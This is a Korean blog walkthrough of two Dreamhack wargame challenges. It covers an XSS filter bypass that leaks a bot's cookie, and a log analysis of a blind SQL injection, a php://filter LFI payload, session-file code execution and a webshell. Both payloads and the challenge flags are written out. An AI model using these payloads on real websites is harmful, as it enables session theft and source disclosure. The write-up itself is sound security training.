road23 2022. 8. 30. 18:39

1. xss-2

https://dreamhack.io/wargame/challenges/268/

 

xss-2

여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. Reference ClientSide: XSS

dreamhack.io


 

접속 정보에 있는 링크를 클릭한다.

그러면 위와 같은 사이트가 나온다.

여기서 vuln(xss) page를 들어가면 xss필터링이 걸어져 있는 것을 확인할 수 있다.

xss 방화벽을 우회하기 위해 구글링을 한다.

flag에 들어가서 서버에 cookie값을 포함시켜 아래의 요청을 보낸다.

<svg/onload=location["href"]="http://127.0.0.1:8000/memo?memo="+document["cookie"]>

그러면 위와 같은 창이 뜨는 것을 확인할 수 있다.

그리고 memo를 들어가면 위와 같이 flag 값이 나온 것을 확인할 수 있다.

flag=DH{3c01577e9542ec24d68ba0ffb846508f}

 


2. weblog-1

https://dreamhack.io/wargame/challenges/71/

 

weblog-1

주어진 코드와 로그를 분석해 주어진 질문에 해당하는 답을 찾아보세요. Reference Server-side Basic Server-side Advanced - SQL Injection

dreamhack.io


문제 파일을 다운로드하여 소스코드를 확인한다.

access.log를 확인한다.

admin계정의 pw를 확인하기 위해 access.log를 살펴봐야 한다.

accees,log 파일을 보기 쉽게 하기 위해 visual studio code에서 연다.

그리고 sort=if()안과 500,200의 숫자를 확인한다. 첫번째 줄에서는 1=1이라 true이고 그렇기 때문에 상태코드가 500이 실행되고, 그 다음 줄에서는 1=0이라서 false이고 상태코드가 200인 것을 확인할 수 있다.

즉, true일 때 상태코드가 500인 것을 확인할 수 있다.

 

따라서 엑셀을 이용해서 필터 기능으로 상태코드가 500일 때만 출력하면 값들이 97, 100, 109, 105, 110, 58, 84, 104, 49, 115, 95, 49, 115, 95, 65, 100, 109, 49, 110, 95, 80, 64, 83, 83, 44, 103, 117, 101, 115, 116, 58, 103, 117, 101, 115, 116인 것을 확인할 수 있다.

이렇게 찾은 값들은 아스키 코드 값이기 때문에 파이썬을 이용해서 문자열로 바꿔야 한다.

Th1s_1s_Adm1n_P@SS가 admin 계정의 패스워드이다.

입력하면 아래와 같이 다음 레벨로 넘어가는 알림창이 뜨는 것을 확인할 수 있다.


공격자가 config.php 코드를 추출하는데 사용한 페이로드를 입력해야 한다고 한다.

그렇기 때문에 access.log에서 config.php를 찾아야 한다.

GET /admin/?page=php://filter/convert.base64-encode/resource=../config.php HTTP/1.1 에서 php://filter/convert.base64-encode/resource=../config.php가 답이다.

LFI 페이로드를 위와 같이 입력하면 아래의 이미지처럼 다음 레벨로 넘어가라는 창이 뜨는 것을 확인할 수 있다.

 


 

LFI 취약점을 통해 코드 실행 공격에 사용된 파일의 전체 경로를 입력하라고 한다.

memo.php 파일을 열어서 확인한다.

확인해보면 memo 파라미터에 입력한 값을 SESSION[memo]에 저장하는 것을 확인할 수 있다.

/var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732 가 답인 것을 확인할 수 있다.

답을 입력하면 다음 레벨로 넘어가는 것을 확인할 수 있다.


 

생성된 웹셀의 경로를 확인하기 위해 memo를 분석해서 웹셀 경로를 확인해야 한다.

php 구문이 실행된 당시의 날짜로 해당 구문을 실행한다.

답은 /var/www/html/uploads/images.php 이다.

 


생성된 웹셀을 통해 가장 처음으로 실행한 명령어를 입력해야 한다.

이 때 생성된 웹셀은 /uploads/images.php 이고 처음 실행된 명령어는 whoami 이다.

 

Flag is DH{264495d5dc70c84d7bd740dd2d1a1709} 를 확인할 수 있다.